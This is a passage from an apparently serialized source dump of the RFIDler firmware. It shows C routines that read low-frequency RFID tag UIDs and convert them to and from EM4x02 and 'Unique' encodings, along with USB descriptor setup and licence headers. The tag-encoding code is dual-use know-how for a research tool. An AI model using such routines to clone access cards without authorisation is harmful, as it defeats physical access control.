whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n#include \"HardwareProfile.h\"\n#include \"rfidler.h\"\n#include \"uid.h\"\n#include \"ask.h\"\n#include \"fsk.h\"\n#include \"fdxb.h\"\n#include \"hdx.h\"\n#include \"em.h\"\n#include \"indala.h\"\n#include \"unique.h\"\n#include \"paxton.h\"\n#include \"psk.h\"\n#include \"hitag.h\"\n#include \"q5.h\"\n#include \"t55x7.h\"\n\n\n// get a tag's UID\n\nBOOL get_tag_uid(BYTE *response)\n{\n    switch(RFIDlerConfig.TagType)\n    {\n        case TAG_TYPE_ASK_RAW:\n            return ask_raw_get_uid(response);\n\n        case TAG_TYPE_AWID_26:\n            return awid26_get_uid(response);\n\n        case TAG_TYPE_EM4X05:\n            return em4x05_get_uid(response);\n\n        case TAG_TYPE_EM4X02:\n            return em4x02_get_uid(response);\n\n        case TAG_TYPE_FDXB:\n            return fdxb_get_uid(response);\n\n        case TAG_TYPE_FSK1_RAW:\n        case TAG_TYPE_FSK2_RAW:\n            return fsk_raw_get_uid(response, FALSE);\n\n        case TAG_TYPE_HDX:\n            return hdx_get_uid(response);\n\n        case TAG_TYPE_HID_26:\n            return hid26_get_uid(response);\n\n        case TAG_TYPE_HITAG1:\n            return hitag1_get_uid(response);\n\n        case TAG_TYPE_HITAG2:\n            return hitag2_get_uid(response);\n\n        case TAG_TYPE_INDALA_64:\n            return indala64_get_uid(response);\n\n        case TAG_TYPE_INDALA_224:\n            return indala224_get_uid(response);\n\n        case TAG_TYPE_PSK1_RAW:\n            return psk1_raw_get_uid(response);\n\n        case TAG_TYPE_Q5:\n            return q5_get_uid(response);\n\n        case TAG_TYPE_T55X7:\n            return t55x7_get_uid(response);\n\n        case TAG_TYPE_UNIQUE:\n            return unique_get_uid(response);\n            \n        case TAG_TYPE_PAXTON:\n            return paxton_get_uid(response);\n\n        default:\n            break;\n    }\n    return FALSE;\n}\n\n// show interpreted HEX value UID\nBOOL interpret_uid(BYTE *response, BYTE *hex, BYTE tagtype)\n{\n    switch(tagtype)\n    {\n        case TAG_TYPE_NONE:\n            strcpy(response, hex);\n            return TRUE;\n            \n        case TAG_TYPE_ASK_RAW:\n            return ask_raw_hex_to_uid(response, hex);\n\n        case TAG_TYPE_AWID_26:\n            return awid26_hex_to_uid(response, hex);\n\n        case TAG_TYPE_EM4X05:\n            strcpy(response, hex);\n            return TRUE;\n\n        case TAG_TYPE_EM4X02:\n            return em4x02_hex_to_uid(response, hex);\n\n        case TAG_TYPE_FDXB:\n            return fdxb_hex_to_uid(response, hex);\n\n        case TAG_TYPE_FSK1_RAW:\n        case TAG_TYPE_FSK2_RAW:\n            return fsk_raw_hex_to_uid(response, hex);\n\n        case TAG_TYPE_HDX:\n            return hdx_hex_to_uid(response, hex);\n\n        case TAG_TYPE_HID_26:\n            return hid26_hex_to_uid(response, hex);\n\n        case TAG_TYPE_HITAG1:\n            return hitag1_hex_to_uid(response, hex);\n\n        case TAG_TYPE_HITAG2:\n            return hitag2_hex_to_uid(response, hex);\n\n        case TAG_TYPE_INDALA_64:\n            return indala64_hex_to_uid(response, hex);\n\n        case TAG_TYPE_INDALA_224:\n            return indala224_hex_to_uid(response, hex);\n\n        case TAG_TYPE_PSK1_RAW:\n            return psk1_raw_hex_to_uid(response, hex);\n\n        case TAG_TYPE_Q5:\n            return q5_hex_to_uid(response, hex);\n\n        case TAG_TYPE_T55X7:\n            strcpy(response, hex);\n            return TRUE;\n\n        case TAG_TYPE_UNIQUE:\n            return unique_hex_to_uid(response, hex);\n            \n        case TAG_TYPE_PAXTON:\n            return paxton_hex_to_uid(response, hex);\n\n        default:\n            break;\n    }\n    return FALSE;\n}\n\nBOOL get_interpreted_tag_uid(BYTE *response, BYTE tagtype)\n{\n        BYTE tmp[MAXUID + 1];\n\n        if(get_tag_uid(tmp))\n        {\n            if(interpret_uid(response, tmp, tagtype))\n                return write_wiegand_uid(response);\n        }\n        return FALSE;\n}\n\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/unique.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\n#include \"HardwareProfile.h\"\n#include \"ask.h\"\n#include \"rfidler.h\"\n#include \"unique.h\"\n#include \"em.h\"\n#include \"util.h\"\n\n// support routines for Unique tags\n//\n\nBOOL unique_get_uid(BYTE *response)\n{\n    return ask_raw_get_uid(response);\n}\n\nBOOL unique_hex_to_uid(BYTE *response, BYTE *hex)\n{\n    return unique_hex_to_hex(response, hex);\n}\n\n// convert null-terminated hex UID (10 hex digits) to 64 bit unique encoded hex\nBOOL hex_to_unique_hex(unsigned char *unique, unsigned char *hex)\n{\n    if(hex_to_unique_bin(unique, hex))\n        return binarraytohex(unique, unique, 64);\n    else\n        return FALSE;\n}\n\n// convert 64 bit unique encoded hex to 10 hex digit 40 bit UID\n// this is the same as em4x02 but with final output bits in a different order\nBOOL unique_hex_to_hex(unsigned char *hex, unsigned char *unique)\n{\n    BYTE tmp[64];\n\n    if(em4x02_hex_to_bin(tmp, unique))\n    {\n        string_reverse(tmp, 40);\n        binarraytohex(hex, tmp, 40);\n        string_byteswap(hex,10);\n        string_reverse(hex, 10);\n        return TRUE;\n    }\n    return FALSE;\n}\n\n// convert null-terminated hex UID (10 digits) to unique encoded 64 bit binary array\n// which is the same as EM4X02 but with source hex arranged in a different order\nBOOL hex_to_unique_bin(unsigned char *unique, unsigned char *hex)\n{\n    unsigned char tmp1[10], tmp2[40];\n\n    if(strlen(hex) > 10)\n        return FALSE;\n\n    // pad to 10 hex digits\n    memset(tmp1, '0', 10);\n    memcpy(tmp1 + 10 - strlen(hex), hex, strlen(hex));\n    // juggle into correct nibble order\n    string_reverse(tmp1, 10);\n    string_byteswap(tmp1, 10);\n    // convert to binary\n    hextobinarray(tmp2, tmp1);\n    string_reverse(tmp2, 40);\n    // encode for em4x02\n    bin_to_em4x02_bin(unique, tmp2);\n    return TRUE;\n}\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/usb_descriptors.c",
    "content": "/********************************************************************\r\n FileName:     \tusb_descriptors.c\r\n Dependencies:\tSee INCLUDES section\r\n Processor:\t\tPIC18 or PIC24 USB Microcontrollers\r\n Hardware:\t\tThe code is natively intended to be used on the following\r\n \t\t\t\thardware platforms: PICDEM FS USB Demo Board, \r\n \t\t\t\tPIC18F87J50 FS USB Plug-In Module, or\r\n \t\t\t\tExplorer 16 + PIC24 USB PIM.  The firmware may be\r\n \t\t\t\tmodified for use on other USB platforms by editing the\r\n \t\t\t\tHardwareProfile.h file.\r\n Complier:  \tMicrochip C18 (for PIC18) or C30 (for PIC24)\r\n Company:\t\tMicrochip Technology, Inc.\r\n\r\n Software License Agreement:\r\n\r\n The software supplied herewith by Microchip Technology Incorporated\r\n (the Company) for its PIC Microcontroller is intended and\r\n supplied to you, the Companys customer, for use solely and\r\n exclusively on Microchip PIC Microcontroller products. The\r\n software is owned by the Company and/or its supplier, and is\r\n protected under applicable copyright laws. All rights are reserved.\r\n Any use in violation of the foregoing restrictions may subject the\r\n user to criminal sanctions under applicable laws, as well as to\r\n civil liability for the breach of the terms and conditions of this\r\n license.\r\n\r\n THIS SOFTWARE IS PROVIDED IN AN AS IS CONDITION. NO WARRANTIES,\r\n WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING, BUT NOT LIMITED\r\n TO, IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A\r\n PARTICULAR PURPOSE APPLY TO THIS SOFTWARE. THE COMPANY SHALL NOT,\r\n IN ANY CIRCUMSTANCES, BE LIABLE FOR SPECIAL, INCIDENTAL OR\r\n CONSEQUENTIAL DAMAGES, FOR ANY REASON WHATSOEVER.\r\n\r\n*********************************************************************\r\n-usb_descriptors.c-\r\n-------------------------------------------------------------------\r\nFilling in the descriptor values in the usb_descriptors.c file:\r\n-------------------------------------------------------------------\r\n\r\n[Device Descriptors]\r\nThe device descriptor is defined as a USB_DEVICE_DESCRIPTOR type.  \r\nThis type is defined in usb_ch9.h  Each entry into this structure\r\nneeds to be the correct length for the data type of the entry.\r\n\r\n[Configuration Descriptors]\r\nThe configuration descriptor was changed in v2.x from a structure\r\nto a BYTE array.  Given that the configuration is now a byte array\r\neach byte of multi-byte fields must be listed individually.  This\r\nmeans that for fields like the total size of the configuration where\r\nthe field is a 16-bit value \"64,0,\" is the correct entry for a\r\nconfiguration that is only 64 bytes long and not \"64,\" which is one\r\ntoo few bytes.\r\n\r\nThe configuration attribute must always have the _DEFAULT\r\ndefinition at the minimum. Additional options can be ORed\r\nto the _DEFAULT attribute. Available options are _SELF and _RWU.\r\nThese definitions are defined in the usb_device.h file. The\r\n_SELF tells the USB host that this device is self-powered. The\r\n_RWU tells the USB host that this device supports Remote Wakeup.\r\n\r\n[Endpoint Descriptors]\r\nLike the configuration descriptor, the endpoint descriptors were \r\nchanged in v2.x of the stack from a structure to a BYTE array.  As\r\nendpoint descriptors also has a field that are multi-byte entities,\r\nplease be sure to specify both bytes of the field.  For example, for\r\nthe endpoint size an endpoint that is 64 bytes needs to have the size\r\ndefined as \"64,0,\" instead of \"64,\"\r\n\r\nTake the following example:\r\n    // Endpoint Descriptor //\r\n    0x07,                       //the size of this descriptor //\r\n    USB_DESCRIPTOR_ENDPOINT,    //Endpoint Descriptor\r\n    _EP02_IN,                   //EndpointAddress\r\n    _INT,                       //Attributes\r\n    0x08,0x00,                  //size (note: 2 bytes)\r\n    0x02,                       //Interval\r\n\r\nThe first two parameters are self-explanatory. They specify the\r\nlength of this endpoint descriptor (7) and the descriptor type.\r\nThe next parameter identifies the endpoint, the definitions are\r\ndefined in usb_device.h and has the following naming\r\nconvention:\r\n_EP<##>_<dir>\r\nwhere ## is the endpoint number and dir is the direction of\r\ntransfer. The dir has the value of either 'OUT' or 'IN'.\r\nThe next parameter identifies the type of the endpoint. Available\r\noptions are _BULK, _INT, _ISO, and _CTRL. The _CTRL is not\r\ntypically used because the default control transfer endpoint is\r\nnot defined in the USB descriptors. When _ISO option is used,\r\naddition options can be ORed to _ISO. Example:\r\n_ISO|_AD|_FE\r\nThis describes the endpoint as an isochronous pipe with adaptive\r\nand feedback attributes. See usb_device.h and the USB\r\nspecification for details. The next parameter defines the size of\r\nthe endpoint. The last parameter in the polling interval.\r\n\r\n-------------------------------------------------------------------\r\nAdding a USB String\r\n-------------------------------------------------------------------\r\nA string descriptor array should have the following format:\r\n\r\nrom struct{byte bLength;byte bDscType;word string[size];}sdxxx={\r\nsizeof(sdxxx),DSC_STR,<text>};\r\n\r\nThe above structure provides a means for the C compiler to\r\ncalculate the length of string descriptor sdxxx, where xxx is the\r\nindex number. The first two bytes of the descriptor are descriptor\r\nlength and type. The rest <text> are string texts which must be\r\nin the unicode format. The unicode format is achieved by declaring\r\neach character as a word type. The whole text string is declared\r\nas a word array with the number of characters equals to <size>.\r\n<size> has to be manually counted and entered into the array\r\ndeclaration. Let's study this through an example:\r\nif the string is \"USB\" , then the string descriptor should be:\r\n(Using index 02)\r\nrom struct{byte bLength;byte bDscType;word string[3];}sd002={\r\nsizeof(sd002),DSC_STR,'U','S','B'};\r\n\r\nA USB project may have multiple strings and the firmware supports\r\nthe management of multiple strings through a look-up table.\r\nThe look-up table is defined as:\r\nrom const unsigned char *rom USB_SD_Ptr[]={&sd000,&sd001,&sd002};\r\n\r\nThe above declaration has 3 strings, sd000, sd001, and sd002.\r\nStrings can be removed or added. sd000 is a specialized string\r\ndescriptor. It defines the language code, usually this is\r\nUS English (0x0409). The index of the string must match the index\r\nposition of the USB_SD_Ptr array, &sd000 must be in position\r\nUSB_SD_Ptr[0], &sd001 must be in position USB_SD_Ptr[1] and so on.\r\nThe look-up table USB_SD_Ptr is used by the get string handler\r\nfunction.\r\n\r\n-------------------------------------------------------------------\r\n\r\nThe look-up table scheme also applies to the configuration\r\ndescriptor. A USB device may have multiple configuration\r\ndescriptors, i.e. CFG01, CFG02, etc. To add a configuration\r\ndescriptor, user must implement a structure similar to CFG01.\r\nThe next step is to add the configuration descriptor name, i.e.\r\ncfg01, cfg02,.., to the look-up table USB_CD_Ptr. USB_CD_Ptr[0]\r\nis a dummy place holder since configuration 0 is the un-configured\r\nstate according to the definition in the USB specification.\r\n\r\n********************************************************************/\r\n \r\n/*********************************************************************\r\n * Descriptor specific type definitions are defined in:\r\n * usb_device.h\r\n *\r\n * Configuration options are defined in:\r\n * usb_config.h\r\n ********************************************************************/\r\n#ifndef __USB_DESCRIPTORS_C\r\n#define __USB_DESCRIPTORS_C\r\n \r\n/** INCLUDES *******************************************************/\r\n#include \"./USB/usb.h\"\r\n#include \"./USB/usb_function_cdc.h\"\r\n#include \"HardwareProfile.h\"\r\n#include \"rfidler.h\"\r\n\r\n/** CONSTANTS ******************************************************/\r\n#if defined(__18CXX)\r\n#pragma romdata\r\n#endif\r\n\r\n/* Device Descriptor */\r\nROM USB_DEVICE_DESCRIPTOR device_dsc=\r\n{\r\n    0x12,                   // Size of this descriptor in bytes\r\n    USB_DESCRIPTOR_DEVICE,  // DEVICE descriptor type\r\n    0x0200,                 // USB Spec Release Number in BCD format\r\n    CDC_DEVICE,             // Class Code\r\n    0x00,                   // Subclass code\r\n    0x00,                   // Protocol code\r\n    USB_EP0_BUFF_SIZE,      // Max packet size for EP0, see usb_config.h\r\n    0x1D50,                 // Vendor ID - OpenMoko\r\n    0x6098,                 // Product ID: RFIDler LF\r\n    RFIDLER_HW_VERSION,     // Device release number in BCD format\r\n    0x01,                   // Manufacturer string index\r\n    0x02,                   // Product string index\r\n    RFIDLER_SERIAL_NUMBER_STRING_DESC_INDEX,  // Device serial number string index\r\n    0x01                    // Number of possible configurations\r\n};\r\n\r\n/* Configuration 1 Descriptor */\r\nROM BYTE configDescriptor1[]={\r\n    /* Configuration Descriptor */\r\n    0x09,//sizeof(USB_CFG_DSC),    // Size of this descriptor in bytes\r\n    USB_DESCRIPTOR_CONFIGURATION,                // CONFIGURATION descriptor type\r\n    67,0,                   // Total length of data for this cfg\r\n    2,                      // Number of interfaces in this cfg\r\n    1,                      // Index value of this configuration\r\n    0,                      // Configuration string index\r\n    _DEFAULT | _SELF,               // Attributes, see usb_device.h\r\n    50,                     // Max power consumption (2X mA)\r\n\t\t\t\t\t\t\t\r\n    /* Interface Descriptor */\r\n    9,//sizeof(USB_INTF_DSC),   // Size of this descriptor in bytes\r\n    USB_DESCRIPTOR_INTERFACE,               // INTERFACE descriptor type\r\n    0,                      // Interface Number\r\n    0,                      // Alternate Setting Number\r\n    1,                      // Number of endpoints in this intf\r\n    COMM_INTF,              // Class code\r\n    ABSTRACT_CONTROL_MODEL,        // Subclass code\r\n    0x00,                 // Protocol code - vendor specific\r\n    0,                      // Interface string index\r\n\r\n    /* CDC Class-Specific Descriptors */\r\n    sizeof(USB_CDC_HEADER_FN_DSC),\r\n    CS_INTERFACE,\r\n    DSC_FN_HEADER,\r\n    0x10,0x01,\r\n\r\n    sizeof(USB_CDC_ACM_FN_DSC),\r\n    CS_INTERFACE,\r\n    DSC_FN_ACM,\r\n    USB_CDC_ACM_FN_DSC_VAL,\r\n\r\n    sizeof(USB_CDC_UNION_FN_DSC),\r\n    CS_INTERFACE,\r\n    DSC_FN_UNION,\r\n    CDC_COMM_INTF_ID,\r\n    CDC_DATA_INTF_ID,\r\n\r\n    sizeof(USB_CDC_CALL_MGT_FN_DSC),\r\n    CS_INTERFACE,\r\n    DSC_FN_CALL_MGT,\r\n    0x00,\r\n    CDC_DATA_INTF_ID,\r\n\r\n    /* Endpoint Descriptor */\r\n    //sizeof(USB_EP_DSC),DSC_EP,_EP02_IN,_INT,CDC_INT_EP_SIZE,0x02,\r\n    0x07,/*sizeof(USB_EP_DSC)*/\r\n    USB_DESCRIPTOR_ENDPOINT,    //Endpoint Descriptor\r\n    _EP02_IN,            //EndpointAddress\r\n    _INTERRUPT,                       //Attributes\r\n    0x08,0x00,                  //size\r\n    0x02,                       //Interval\r\n\r\n    /* Interface Descriptor */\r\n    9,//sizeof(USB_INTF_DSC),   // Size of this descriptor in bytes\r\n    USB_DESCRIPTOR_INTERFACE,               // INTERFACE descriptor type\r\n    1,                      // Interface Number\r\n    0,                      // Alternate Setting Number\r\n    2,                      // Number of endpoints in this intf\r\n    DATA_INTF,              // Class code\r\n    0,                      // Subclass code\r\n    NO_PROTOCOL,            // Protocol code\r\n    0,                      // Interface string index\r\n    \r\n    /* Endpoint Descriptor */\r\n    //sizeof(USB_EP_DSC),DSC_EP,_EP03_OUT,_BULK,CDC_BULK_OUT_EP_SIZE,0x00,\r\n    0x07,/*sizeof(USB_EP_DSC)*/\r\n    USB_DESCRIPTOR_ENDPOINT,    //Endpoint Descriptor\r\n    _EP03_OUT,            //EndpointAddress\r\n    _BULK,                       //Attributes\r\n    0x40,0x00,                  //size\r\n    0x00,                       //Interval\r\n\r\n    /* Endpoint Descriptor */\r\n    //sizeof(USB_EP_DSC),DSC_EP,_EP03_IN,_BULK,CDC_BULK_IN_EP_SIZE,0x00\r\n    0x07,/*sizeof(USB_EP_DSC)*/\r\n    USB_DESCRIPTOR_ENDPOINT,    //Endpoint Descriptor\r\n    _EP03_IN,            //EndpointAddress\r\n    _BULK,                       //Attributes\r\n    0x40,0x00,                  //size\r\n    0x00,                       //Interval\r\n};\r\n\r\n\r\n//Language code string descriptor\r\nROM struct{BYTE bLength;BYTE bDscType;WORD string[1];}sd000={\r\nsizeof(sd000),USB_DESCRIPTOR_STRING,{0x0409}};\r\n\r\n//Manufacturer string descriptor\r\nROM struct{BYTE bLength;BYTE bDscType;WORD string[18];}sd001={\r\nsizeof(sd001),USB_DESCRIPTOR_STRING,\r\n{'A','p','e','r','t','u','r','e',' ','L','a','b','s',' ','L','t','d','.'\r\n}};\r\n\r\n//Product string descriptor\r\nROM struct{BYTE bLength;BYTE bDscType;WORD string[10];}sd002={\r\nsizeof(sd002),USB_DESCRIPTOR_STRING,\r\n{'R','F','I','D','l','e','r','-','L','F'}\r\n};\r\n\r\n\r\n// Buffer to put USB serial number (Unicode); reordered version of factory programmed Ethernet MAC\r\n// Note this string descriptor is 'static' as it is modified on boot\r\nstatic struct{BYTE bLength;BYTE bDscType;WORD string[12];}sd003={\r\nsizeof(sd003),USB_DESCRIPTOR_STRING,\r\n{'0','1','2','3','4','5','6','7','8','9','A','B'}\r\n};\r\n\r\n//Array of configuration descriptors\r\nROM BYTE *ROM USB_CD_Ptr[]=\r\n{\r\n    (ROM BYTE *ROM)&configDescriptor1\r\n};\r\n//Array of string descriptors\r\nROM BYTE *ROM USB_SD_Ptr[USB_NUM_STRING_DESCRIPTORS]=\r\n{\r\n    (ROM BYTE *ROM)&sd000,\r\n    (ROM BYTE *ROM)&sd001,\r\n    (ROM BYTE *ROM)&sd002,\r\n    (ROM BYTE *ROM)&sd003\r\n};\r\n\r\n#pragma code\r\n\r\n// Read device's unique Ethernet MAC Address, use for USB serial number\r\nvoid MakeUSBSerialNumberFromEMAC(void)\r\n{\r\n    WORD sernum;\r\n    WORD index = 0;\r\n\r\n    while (index < 12)\r\n    {\r\n        WORD d = 0;\r\n        // choose part of the Ethernet MAC address to read\r\n        if (index == 0)\r\n            sernum = EMAC1SA0;\r\n        else if (index == 4)\r\n            sernum = EMAC1SA1;\r\n        else\r\n            sernum = EMAC1SA2;\r\n\r\n        // convert 16 bits to Unicode hexadecimal format\r\n        while ((d < 4) && (index < 12))\r\n        {\r\n            WORD unichar = sernum & 0x000f;\r\n            if (unichar < 10)\r\n                unichar += '0';\r\n            else\r\n                unichar += ('A' - 10);\r\n            sd003.string[index++] = unichar;\r\n            sernum >>= 4; // shift right\r\n            d++;\r\n        }\r\n    }\r\n }\r\n#endif\r\n/** EOF usb_descriptors.c ****************************************************/\r\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/util.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to 